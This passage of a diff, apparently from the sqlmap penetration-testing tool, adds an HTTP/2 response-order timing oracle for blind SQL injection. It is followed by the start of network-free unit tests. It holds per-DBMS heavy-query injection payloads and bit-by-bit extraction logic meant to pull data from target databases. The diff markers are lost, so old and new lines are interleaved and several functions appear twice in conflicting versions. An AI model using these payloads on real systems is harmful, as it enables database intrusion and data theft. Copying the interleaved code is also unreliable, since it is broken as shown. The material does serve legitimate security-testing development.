return readBit(self._conn, _specToReq(condSpec, self.host), _specToReq(negSpec, self.host),
votes=self.votes, timeout=self.timeout, expectStatus=self.status, pTrue=self.pTrue)
def close(self):
with self._lock:
for conn in self._conns:
try:
conn.close()
except Exception:
pass
self._conns = []
self._closed = True # set BEFORE closing, so a connection opened concurrently by a
conns, self._conns = self._conns, [] # worker is closed by _conn() instead of resurrected
for conn in conns:
try:
conn.close()
except Exception:
pass
def engage(host, port, vector, proxy=None, timeout=30):
"""Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread
TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up
automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy).
The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise)."""
def engage(oracle, technique, vector):
"""Publish a fully-built `oracle` on kb.timeless, swapping `technique`'s vector for the tuned heavy one
so every extraction payload from here on gates the heavy branch and carries the sentinels the symmetric
oracle negates. Ordered so it is all-or-nothing: the vector swap (which alone would break classic
time-based) happens first and is rolled back if anything fails, and kb.timeless is published LAST, so a
failure can never leave a half-engaged oracle behind. disengage() undoes both."""
from lib.core.common import getTechniqueData
from lib.core.data import kb
refReq = _forgeRequest("1=1", host, vector)
kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout)
return kb.timeless
# hold the injection-data OBJECT, not the technique enum: disengage() can run after the controller has
# moved on to the next target, and re-resolving the enum then would restore this target's vector onto
# the next one's injection data.
data = getTechniqueData(technique)
oracle.savedData, oracle.savedVector = data, data.vector
data.vector = vector
try:
kb.timelessRestore = None # a previous target's straggler-rewrite must not outlive it
kb.timeless = oracle
except Exception:
data.vector = oracle.savedVector
raise
return oracle
def disengage():
"""Tear down the timeless oracle and close all per-thread connections."""
"""Tear down the timeless oracle, restore the classic time-based vector and close all per-thread
connections. Restoration is not swallowed on failure: leaving the heavy (no-delay) vector in place
would make every subsequent classic time-based comparison read False."""
from lib.core.data import kb
oracle = kb.get("timeless")
if oracle is not None:
if oracle.savedTechnique is not None:
try:
from lib.core.common import getTechniqueData
getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector
except Exception:
pass
oracle.close()
kb.timeless = None
# Restoring the vector is NOT enough on its own: bisection freezes a comparison TEMPLATE from it
# when a value starts extracting, so the rest of the value in flight keeps forging heavy (no-delay)
# payloads that wall-clock comparison reads as False. Publish the classic vector so queryPage can
# re-forge those stragglers until bisection builds its next template. See restoreClassicValue().
kb.timelessRestore = oracle.savedVector
try:
if oracle.savedData is not None:
oracle.savedData.vector = oracle.savedVector
oracle.savedData = None
finally:
oracle.close()
def hintTimeless():
@@ -280,8 +463,10 @@ def hintTimeless():
if parts.scheme != "https":
return
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'
conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30)
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'. It
# goes through the configured proxy like every other request - probing direct would leak the real
# source address under '--tor'/'--proxy' (proxyProfile() refuses outright on SOCKS, so no hint).
conn = connect(parts.hostname, parts.port or 443, proxyProfile(), conf.timeout or 30)
conn.close()
singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection "
"by relative response order (no delay), typically far faster. Consider re-running with '--timeless'")
@@ -332,24 +517,38 @@ def _doAutoEngage(conf, kb, logger, Backend):
logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based")
return False
# '--chunked' rewrites the entity body into HTTP/1.1 chunked wire format, which buildOnly hands back
# verbatim; sent as an h2 DATA stream the server would read '4\r\ndata\r\n0\r\n\r\n' as the body.
if conf.chunked:
logger.warning("'--timeless' is incompatible with switch '--chunked'. Falling back to classic time-based")
return False
try:
proxy = proxyProfile()
except ValueError:
logger.warning("'--timeless' cannot use a SOCKS proxy (including '--tor'), and will not connect around it. Falling back to classic time-based")
return False
host, port = parts.hostname, parts.port or 443
dbms = Backend.getIdentifiedDbms()
if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None:
logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms)
return False
if _calibrationConditions(dbms)[0] is None:
logger.warning("'--timeless' cannot build a faithful calibration probe for DBMS '%s'. Falling back to classic time-based" % dbms)
return False
# Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order
# reliability and tune the work size - that is the pause the user sees before engagement. Announce
# it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait".
import time as _time
from lib.core.common import dataToStdout
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms))
probe = connect(host, port, None, conf.timeout or 30)
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (time.strftime("%X"), dbms))
probe = connect(host, port, proxy, conf.timeout or 30)
# value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand
# that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy).
loadFactor = max(1, conf.threads or 1)
try:
vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
vector, cost, confidence, status, probeSlow, probeFast = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
finally:
probe.close()
dataToStdout(" (done)\n")
@@ -358,37 +557,42 @@ def _doAutoEngage(conf, kb, logger, Backend):
logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence)
return False
oracle = engage(host, port, vector, timeout=conf.timeout or 30)
# Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold
# and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target
# needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.)
oracle.votes = 5 if confidence >= 1.0 else 9
# bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned
# heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request
# gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on
# disengage().
oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME
oracle.savedVector = timeData.vector
timeData.vector = vector
# A sweep that did not miss a single trial licenses the CLEAN decision model (votes are
# deterministic on such a target - see the SPRT constants), which reads a bit in about the same
# pairs the classic rule spent; every connection then has to reproduce that unanimity before it may
# read. Anything less gets the conservative model and a bigger minimum sample.
# (No validateChar re-check runs under timeless.)
clean = confidence >= 1.0
oracle = TimelessOracle(host, port, probeSlow, probeFast, proxy=proxy, timeout=conf.timeout or 30,
votes=4 if clean else 8, status=status,
pTrue=SPRT_P_TRUE_CLEAN if clean else SPRT_P_TRUE,
verifyThreshold=VERIFY_THRESHOLD_CLEAN if clean else VERIFY_THRESHOLD)
# bisection forges its comparison payloads from the TIME technique's vector, so the swap to the
# tuned heavy (sentinel) vector has to happen NOW, before extraction builds any payload. engage()
# does that and publishes the oracle as one all-or-nothing step; disengage() undoes it.
engage(oracle, PAYLOAD.TECHNIQUE.TIME, vector)
logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence))
return True
except Exception as ex:
from lib.core.common import getSafeExString
disengage()
logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex))
return False
# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same
# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job.
_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection",
"transfer-encoding", "upgrade", "content-length"))
def _specToReq(spec, fallbackAuthority):
"""Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into
the request dict exchange_pair expects."""
the request dict exchange_pair expects.
':authority' is taken from the assembled Host header whenever there is one, and only falls back to the
URL host otherwise: they legitimately differ under virtual hosting, '--host', or an injection point
that IS the Host header - deriving the authority from the URL would silently retarget the request (and,
for a Host-header injection, drop the payload, leaving both requests of the pair identical).
Header filtering is deliberately left to the HTTP/2 layer's _normalize_request_headers(), which drops
Host/Connection/framing fields AND the fields a Connection header nominates. Stripping Connection here
first would keep those nominated fields in an h2 request, which is malformed."""
try:
from urllib.parse import urlsplit
except ImportError:
@@ -399,13 +603,14 @@ def _specToReq(spec, fallbackAuthority):
path = parts.path or "/"
if parts.query:
path += "?" + parts.query
reqHeaders = {}
authority = None
for key in (headers or {}):
name = key.decode("latin-1") if isinstance(key, bytes) else key
if name.lower() not in _FORBIDDEN_HEADERS:
reqHeaders[key] = headers[key]
return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority),
"headers": reqHeaders, "body": post}
if name.lower() == "host":
authority = headers[key]
break
authority = authority or parts.netloc.split("@")[-1] or fallbackAuthority
return {"method": method, "path": path, "authority": authority, "headers": headers or {}, "body": post}
def getHeavyVector(dbms=None):
@@ -414,7 +619,7 @@ def getHeavyVector(dbms=None):
ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no
SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded."""
from lib.core.data import conf
from lib.core.common import Backend
from lib.core.common import Backend, isListLike
dbms = dbms or Backend.getIdentifiedDbms()
if not dbms:
@@ -426,7 +631,7 @@ def getHeavyVector(dbms=None):
if "heavy query" not in title.lower():
continue
testDbms = ((test.get("details") or {}).get("dbms")) or ""
testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms)
testDbms = " ".join(testDbms) if isListLike(testDbms) else testDbms
# tolerate combined labels like "Microsoft SQL Server/Sybase"
if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))):
continue
@@ -470,7 +675,11 @@ def getHeavyVector(dbms=None):
# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS
# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL).
_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback)
_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap)
# MSSQL/Sybase: the sysusers cross-join is exactly the shipped heavy-query primitive (time_blind.xml), just
# bounded by TOP so the cost ladder means something and the work stays capped. A literal TOP keeps it valid
# on Sybase ASE too (which takes no expression there). Deliberately NOT HASHBYTES: SQL Server 2014 and older
# cap its input at 8000 bytes regardless of VARCHAR(MAX), so every rung of the ladder would error.
_LH_MSSQL = "(SELECT COUNT(*) FROM (SELECT TOP [COST] 1 AS qx FROM sysusers AS q1,sysusers AS q2,sysusers AS q3,sysusers AS q4,sysusers AS q5,sysusers AS q6,sysusers AS q7) AS qt)"
LIGHT_HEAVY = {
DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series
@@ -482,8 +691,12 @@ LIGHT_HEAVY = {
DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))",
# ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash
DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')",
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join
DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)",
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> system-catalog cross-join, bounded
# by FIRST (a literal, which Firebird accepts) so the rungs of the cost ladder actually differ in work.
# NOTE the plain aliases: Firebird rejects an unquoted identifier starting with '_', and because a
# syntax error here costs the same time as a cheap query it looks exactly like a folded primitive -
# measured live, 'AS _x'/'_t' returned in 0.59 s at every cost while 'AS qx'/'qt' scaled 0.78 -> 3.0 s.
DBMS.FIREBIRD: "(SELECT COUNT(*) FROM (SELECT FIRST [COST] 1 AS qx FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c, RDB$RELATIONS d) qt)",
# NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here ->
# no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction.
}
@@ -566,23 +779,30 @@ def negatePayload(value):
across every DBMS (unlike `IS NOT TRUE`)."""
import re
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)))
# DOTALL: a comparison can legitimately span lines (a tamper script inserting newlines for whitespace,
# a multi-line injected value); without it the sentinels would not match and the bit would be read on a
# path that never negates the condition.
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), re.DOTALL)
if not pattern.search(value or ""):
return None
return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value)
def negateCondition(condition):
"""The NULL-SAFE negation of a bare `condition` (no sentinels involved) - the same CASE form
negatePayload() splices in, so both paths terminate a string identically. See negatePayload()."""
return "(CASE WHEN (%s) THEN 1 ELSE 0 END)=0" % condition
def _pairMs(conn, reqA, reqB, samples=5, timeout=30):
"""Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy
branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that
decides which cost to engage at (see tuneHeavy)."""
import time as _t
ts = []
for _ in range(samples):
s = _t.time()
s = time.time()
_pairOrder(conn, reqA, reqB, timeout)
ts.append((_t.time() - s) * 1000.0)
ts.append((time.time() - s) * 1000.0)
return sorted(ts)[samples // 2]
@@ -596,8 +816,12 @@ def _calibrationConditions(dbms):
with the constant sees a clean heavy delta the REAL extraction never has and engages straight into
corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target
measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan
safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no
inference/banner template (calibration still gates, just without the hoist check)."""
safely falls back to classic time-based.
Returns (None, None) when the DBMS ships no usable inference/banner template. It deliberately does NOT
fall back to '1=1'/'1=0': those are precisely the constant-foldable probes this function exists to
avoid, so a missing template or a formatting mismatch would silently disable the main anti-corruption
safeguard. No faithful probe means no calibration means no timeless on that DBMS."""
from lib.core.data import queries
try:
@@ -607,32 +831,46 @@ def _calibrationConditions(dbms):
# int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range)
return (template % (banner, 1, 1), template % (banner, 1, 255))
except Exception:
return ("1=1", "1=0")
return (None, None)
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1):
"""Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy
that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load,
and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if
none qualifies.
TUNE_DEADLINE_SECS = 300.0 # overall wall-clock budget for the tuning sweep (see tuneHeavy)
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1, deadline=None):
"""Walk the cost ladder and return (vector, cost, confidence, status, reqSlow, reqFast) for the LIGHTEST
rung-2 heavy that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive
extraction load, and (b) whose response-order signal calibrates as reliable. `status` and the two probe
requests are handed back so the oracle can re-calibrate every later connection against the same
known-asymmetric pair and validate every read against the same response status. Returns
(None, None, best_confidence, None, None, None) if no rung qualifies.
Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N)
and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a
generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits
under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny."""
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.
The whole sweep is bounded by `deadline` (default TUNE_DEADLINE_SECS from now). The per-socket timeout
only bounds a single exchange, so an endpoint that answers just fast enough, just slowly enough, could
otherwise keep tuning alive indefinitely and the scan would never start."""
from lib.core.common import Backend
dbms = dbms or Backend.getIdentifiedDbms()
deadline = deadline if deadline is not None else time.time() + TUNE_DEADLINE_SECS
# Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a
# target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with
# ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions().
trueCond, falseCond = _calibrationConditions(dbms)
if trueCond is None:
return (None, None, 0.0, None, None, None)
best = 0.0
for cost in LIGHT_HEAVY_COSTS:
if time.time() > deadline:
break
vector = lightHeavyVector(dbms, cost)
if not vector:
return (None, None, 0.0)
return (None, None, 0.0, None, None, None)
reqSlow = _forgeRequest(trueCond, conn.host, vector)
reqFast = _forgeRequest(falseCond, conn.host, vector)
# Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair
@@ -659,11 +897,12 @@ def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=N
if progress is not None:
progress()
continue # margin too thin to survive load -> escalate cost
usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
usable, confidence, status = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold,
timeout=timeout, progress=progress, deadline=deadline)
best = max(best, confidence)
if usable:
return (vector, cost, confidence)
return (None, None, best)
return (vector, cost, confidence, status, reqSlow, reqFast)
return (None, None, best, None, None, None)
def _forgeRequest(inferenceExpr, authority, vector=None):
@@ -682,42 +921,43 @@ def _forgeRequest(inferenceExpr, authority, vector=None):
return _specToReq(spec, authority)
def readBitLive(conn, condition, vector=None, votes=1, timeout=30):
def readBitLive(conn, condition, vector=None, votes=4, timeout=30):
"""Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison
bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the
negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work,
so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
negation request carries its NULL-safe negation; with a heavy-query `vector` exactly one runs the heavy
work, so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
(rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds."""
reqCond = _forgeRequest(condition, conn.host, vector)
reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector)
reqNeg = _forgeRequest(negateCondition(condition), conn.host, vector)
return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout)
def readBitAsymmetric(connSource, reqCond, reqRef, votes=12, timeout=30):
"""Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy
reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50
and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS
errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially
always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over
a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a
phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still
clears the threshold comfortably. Used as the tiebreak when the symmetric read splits.
Returns True iff the condition holds."""
condLast = 0
for i in range(votes):
if i % 2 == 0:
first, condSid, _hiSid = _pairOrder(connSource, reqCond, reqRef, timeout)
else:
first, _loSid, condSid = _pairOrder(connSource, reqRef, reqCond, timeout)
if first != condSid: # cond finished last -> it ran the heavy branch this vote
condLast += 1
return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%)
def restoreClassicValue(value, classicVector):
"""Rebuild the payload `value` - forged from the tuned heavy (sentinel) vector - on top of `classicVector`,
the time-based vector that was swapped out. Returns None when `value` carries no sentinels.
Needed on the runtime fallback path: once timeless disengages mid-extraction, the comparison in flight
was already assembled from the heavy vector, which induces milliseconds rather than '--time-sec'
seconds. Re-running it as-is through wall-clock comparison would read False no matter the truth, so the
caller re-forges the SAME comparison onto the restored vector first."""
import re
from lib.core.agent import agent
from lib.core.settings import INFERENCE_MARKER
match = re.search(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), value or "", re.DOTALL)
if not match:
return None
forged = agent.suffixQuery(agent.prefixQuery(classicVector.replace(INFERENCE_MARKER, match.group(1))))
return agent.payload(newValue=forged)
def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None):
"""Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence);
below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle."""
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence,
status); below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.
Ad-hoc probing only - autoEngage() calibrates with the faithful, non-foldable predicates that
_calibrationConditions() builds, never with these constants."""
reqSlow = _forgeRequest("1=1", conn.host, vector)
reqFast = _forgeRequest("1=0", conn.host, vector)
return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
@@ -736,17 +976,17 @@ if __name__ == "__main__":
return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host}
conn = connect(host, port, None, 30)
usable, conf = calibrate(conn, req(1), req(0), trials=40)
print("calibrate: usable=%s confidence=%.3f" % (usable, conf))
usable, confidence, status = calibrate(conn, req(1), req(0), trials=40)
print("calibrate: usable=%s confidence=%.3f status=%s" % (usable, confidence, status))
if usable:
import itertools
# Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy
# iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one
# runs heavy, so a single pair resolves the bit both ways.
# runs heavy, so the pair resolves the bit both ways.
bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24))
ok = 0
for b in bits:
got = readBit(conn, req(b), req(1 - b), votes=1)
got = readBit(conn, req(b), req(1 - b), votes=2, expectStatus=status)
ok += int(bool(got) == bool(b))
print("read %d/%d bits correctly (single pair each)" % (ok, len(bits)))
print("read %d/%d bits correctly" % (ok, len(bits)))
conn.close()
tests/test_timeless.py
+435
View File
@@ -0,0 +1,435 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Coverage for the HTTP/2 timeless-timing oracle in lib/request/timeless.py: the
sequential decision engine that turns response-order votes into bits, the pair
transport's replay-safety and response validation, request-spec conversion, the
sentinel negation, and oracle teardown.
Network-free - a fake _H2Connection stands in for the transport, so every vote
sequence is exactly reproducible.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import os
import socket
import sys
import threading
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
from lib.request import timeless as _timeless
from lib.request.http2 import _UnprocessedStream
from lib.request.timeless import (
LIGHT_HEAVY,
LIGHT_HEAVY_COSTS,
SPRT_CAP_FACTOR,
TimelessOracle,
TimelessUnusable,
_pairOrder,
_specToReq,
buildConditionPair,
calibrate,
lightHeavyVector,
negateCondition,
negatePayload,
readBit,
)
REQ_COND = {"method": "GET", "path": "/?id=1", "authority": "h"}
REQ_NEG = {"method": "GET", "path": "/?id=2", "authority": "h"}
class FakeConnection(object):
"""Minimal _H2Connection stand-in. `orders` is an iterable of booleans - True means the SECOND request
of the pair finished last (so exchange_pair reports the first-sent stream as finishing first)."""
def __init__(self, orders=(), statuses=None, raises=None, host="target"):
self.host, self.port = host, 443
self.next_sid = 1
self.usable = True
self.closed = 0
self.sent = []
self._orders = list(orders)
self._statuses = list(statuses) if statuses is not None else None
self._raises = list(raises) if raises is not None else []
def exchange_pair(self, requests, timeout):
if self._raises:
error = self._raises.pop(0)
if error is not None:
raise error
self.sent.append(list(requests))
lo, hi = self.next_sid, self.next_sid + 2
self.next_sid += 4
secondLast = self._orders.pop(0) if self._orders else True
order = [lo, hi] if secondLast else [hi, lo]
status = self._statuses.pop(0) if self._statuses else 200
statuses = status if isinstance(status, tuple) else (status, status)
return order, {lo: (statuses[0], [], b""), hi: (statuses[1], [], b"")}
def close(self):
self.closed += 1
self.usable = False
def votes(*heavyLast):
"""Build the `orders` sequence for readBit()/calibrate() votes: heavyLast[i] True means the request
under test (reqCond / reqSlow) finished LAST on vote i. Both alternate the send order, so which slot it
occupies - and therefore whether 'it finished last' means 'the second-sent stream finished last' -
flips every vote."""
return [last if i % 2 else not last for i, last in enumerate(heavyLast)]
class TimelessDecisionTest(unittest.TestCase):
def test_unanimous_true_and_false(self):
conn = FakeConnection(votes(*([True] * 20)))
self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4))
conn = FakeConnection(votes(*([False] * 20)))
self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4))
def test_decisions_only_on_balanced_samples(self):
"""Both stream-id orderings must contribute equally, so a bit can never be decided on an odd
number of votes (which would give one ordering an extra say)."""
for pattern in ([True] * 20, [False] * 20, [True, False] * 10):
conn = FakeConnection(votes(*pattern))
readBit(conn, REQ_COND, REQ_NEG, votes=4)
self.assertEqual(len(conn.sent) % 2, 0)
def test_late_disagreement_does_not_flip_a_true_bit(self):
"""The regression the sequential test fixes: three cond-last then two cond-first used to hit
fraction 0.6 -> escalate, and the next cond-first (3/6 = 0.5) returned False on the spot."""
pattern = [True, True, True, False, False, False] + [True] * 30
conn = FakeConnection(votes(*pattern))
self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4))
self.assertGreater(len(conn.sent), 6)
def test_coin_flip_reads_false(self):
"""A DBMS that errors past the end of a string makes both requests error, so the order is a coin
flip - that must terminate the string, not invent a character."""
conn = FakeConnection(votes(*([True, False] * 40)))
self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4))
def test_cap_is_respected(self):
conn = FakeConnection(votes(*([True, False] * 200)))
readBit(conn, REQ_COND, REQ_NEG, votes=4)
self.assertLessEqual(len(conn.sent), 4 * SPRT_CAP_FACTOR)
def test_clean_model_costs_no_more_than_the_classic_rule(self):
"""A target whose tuning sweep was unanimous is read at SPRT_P_TRUE_CLEAN. Live measurement on such
a target (6990 votes, idle and under 4x load) never produced a disagreeing vote, so the model has to
pay about what the old fixed five-pair rule did or the accuracy work is a straight slowdown."""
conn = FakeConnection(votes(*([True] * 20)))
self.assertTrue(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN))
self.assertLessEqual(len(conn.sent), 6)
conn = FakeConnection(votes(*([False] * 20)))
self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN))
self.assertLessEqual(len(conn.sent), 4)
def test_clean_model_still_terminates_a_string(self):
"""The end-of-string coin flip is the failure this engine exists to prevent, so it must hold under
the cheaper model too."""
conn = FakeConnection(votes(*([True, False] * 60)))
self.assertFalse(readBit(conn, REQ_COND, REQ_NEG, votes=4, pTrue=_timeless.SPRT_P_TRUE_CLEAN))
def test_minimum_sample_is_honoured(self):
conn = FakeConnection(votes(*([False] * 40)))
readBit(conn, REQ_COND, REQ_NEG, votes=12)
self.assertGreaterEqual(len(conn.sent), 12)
def test_error_rates_are_bounded(self):
"""Drive the decision engine with a deterministic pseudo-random vote stream and check that the
realised error rate on both hypotheses stays inside the configured bound (with slack for the
finite cap)."""
def stream(p, seed, count):
state, out = seed, []
for _ in range(count):
state = (1103515245 * state + 12345) % (1 << 31)
out.append((state >> 16) % 1000 < p * 1000)
return out
wrong = 0
for trial in range(60): # genuine TRUE bits at the modelled per-vote reliability
conn = FakeConnection(votes(*stream(_timeless.SPRT_P_TRUE, trial + 1, 2000)))
wrong += not readBit(conn, REQ_COND, REQ_NEG, votes=4)
self.assertLessEqual(wrong, 6) # bound is 2%, allow slack for the finite sample
wrong = 0
for trial in range(60): # end-of-string coin flip: must never invent a character
conn = FakeConnection(votes(*stream(0.5, trial + 1, 2000)))
wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4))
self.assertLessEqual(wrong, 6)
wrong = 0
for trial in range(60): # real FALSE bits (cond is strictly the cheap one)
conn = FakeConnection(votes(*stream(0.02, trial + 1, 2000)))
wrong += bool(readBit(conn, REQ_COND, REQ_NEG, votes=4))
self.assertEqual(wrong, 0)
class TimelessTransportTest(unittest.TestCase):
def test_unprocessed_stream_is_retried_on_a_factory(self):
conns = [FakeConnection([True], raises=[_UnprocessedStream("goaway")]), FakeConnection([True])]
made = []
def factory():
made.append(conns[len(made)])
return made[-1]
first, loSid, hiSid, status = _pairOrder(factory, REQ_COND, REQ_NEG, 5)
self.assertEqual(len(made), 2)
self.assertEqual(status, 200)
self.assertEqual((loSid, hiSid), (1, 3))
self.assertEqual(first, loSid)
def test_ambiguous_transport_error_is_not_replayed(self):
"""A generic drop proves nothing about whether the application saw the requests - re-sending it
could re-run a state-changing injection point."""
